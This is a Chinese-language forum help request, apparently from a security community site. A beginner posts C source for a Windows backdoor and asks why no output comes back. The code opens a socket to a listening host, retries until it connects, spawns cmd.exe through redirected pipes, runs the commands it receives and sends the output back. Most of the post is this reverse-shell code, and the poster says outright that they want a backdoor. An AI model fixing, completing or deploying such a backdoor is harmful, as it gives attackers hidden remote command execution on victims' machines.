首页
社区
课程
招聘
[求助] 重定向cmd输入输出 无法从readFile 读出数据
发表于: 2025-4-1 22:34 65

[求助] 重定向cmd输入输出 无法从readFile 读出数据

2025-4-1 22:34
65
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)

DWORD main() {
	WORD version = MAKEWORD(2, 2);
	WSADATA wsadata;

	if (WSAStartup(version, &wsadata)) {
		printf("fuil");
		return -1;
	}

	SOCKET Socket;
	SOCKADDR_IN info;

	info.sin_family = AF_INET;
	info.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	info.sin_port = htons(60000);

	Socket = socket(AF_INET, SOCK_STREAM, 0);

	while (WSAConnect(Socket, &info, sizeof(info), 0, 0, 0, 0)) {
		Sleep(5000);
	}
	/*ReadFile*/

	SECURITY_ATTRIBUTES Sa;
	HANDLE hOutWrite = NULL, hOutRead, hInWrite, hInRead;

	memset(&Sa, 0, sizeof(SECURITY_ATTRIBUTES));
	Sa.nLength = sizeof(Sa);
	Sa.bInheritHandle = TRUE;
	Sa.lpSecurityDescriptor = 0;

	//memset(&readSa, 0, sizeof(SECURITY_ATTRIBUTES));
	//readSa.nLength = sizeof(readSa);
	//readSa.bInheritHandle = TRUE;
	//readSa.lpSecurityDescriptor = 0;

	if (!CreatePipe(&hOutRead, &hOutWrite, &Sa, 0)) {
		printf("Out errot 1 %x", GetLastError());
		system("pause");
		return;
	}
	if (!SetHandleInformation(hOutRead, HANDLE_FLAG_INHERIT, 0)) {
		printf("Out errot 2 %x", GetLastError());
		system("pause");
		return;
	}
	if (!CreatePipe(&hInRead, &hInWrite, &Sa, 0)) {
		printf("In errot 1 %x", GetLastError());
		system("pause");
		return;
	}
	if (!SetHandleInformation(hInWrite, HANDLE_FLAG_INHERIT, 0)) {
		printf("In errot 2 %x", GetLastError());
		system("pause");
		return;
	}

	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	printf("sizeof(si): %x\n", sizeof(si));
	memset(&si, 0, sizeof(STARTUPINFO));
	printf("%x\n", si.cb);
	GetStartupInfo(&si);
	si.cb = sizeof(STARTUPINFO);

	si.hStdInput = hInRead;
	si.hStdOutput = hOutWrite;
	si.hStdError = hOutWrite;
	/*si.wShowWindow = SW_HIDE;*/
	si.dwFlags |= STARTF_USESTDHANDLES;

	
	
	char cmdPath[255] = { 0 };
	
	GetSystemDirectoryA(cmdPath, 255);
	strcat(cmdPath, "\\cmd.exe /c");

	if (!CreateProcessA(NULL, cmdPath, 0, 0, TRUE, 0, 0, 0, &si, &pi)) {

		printf("Create fuil %x\n", GetLastError());
		system("pause");
		return;
	}

	char cmdLine[255] = { 0 };
	char buff[1024 * 5] = { 0 };
	DWORD readByte = 0, writeByte = 0, totalByte = 0;
	DWORD ExitCode;
	int flag = 0;


	while (GetExitCodeProcess(pi.hProcess, &ExitCode)) {
	
		//if (!flag) {
		//	printf("hInWrite %x\n", GetLastError());
		//	system("pause");
		//}
		recv(Socket, cmdLine, sizeof(cmdLine), 0);
		strcat(cmdLine, "\r\n");
		flag = WriteFile(hInWrite, cmdLine, strlen(cmdLine), &writeByte, 0);
		
		if (!writeByte) {
			printf("hInWrite %x\n", GetLastError());
			system("pause");
		}
		
	/*	CloseHandle(hOutWrite);*/
		PeekNamedPipe(hOutRead, buff, sizeof(buff), &readByte, &totalByte, 0);
		printf("%d \n", totalByte);
		if (!readByte) {
			printf("pre houtRead %x\n", GetLastError());
			continue;
		}
		
		
		flag = ReadFile(hOutRead, buff, sizeof(buff), &readByte, 0);
		if (!flag) {
			printf("hOutRead %x\n", GetLastError());
			system("pause");
		}
		
		send(Socket, buff, strlen(buff), 0);
		memset(cmdLine, 0, sizeof(cmdLine));
		memset(buff, 0, sizeof(buff));
		readByte = 0;
		writeByte = 0;
	}
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

}

求助 我想写一个后门程序 通过管道重定向cmd的输入输出 然后通过socket 发回本机 但是我发现 recv可以正确得到正确的命令 writeFile也可以正确的向cmd 写入数据 但是 通过 peekNamePipe函数预查看返回值 readByte的结果总是0 也就是没有输出结果 在网上搜了好多办法的 都没有找到解决办法 纯小白 刚开始学习 希望各位大佬赐教 







传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回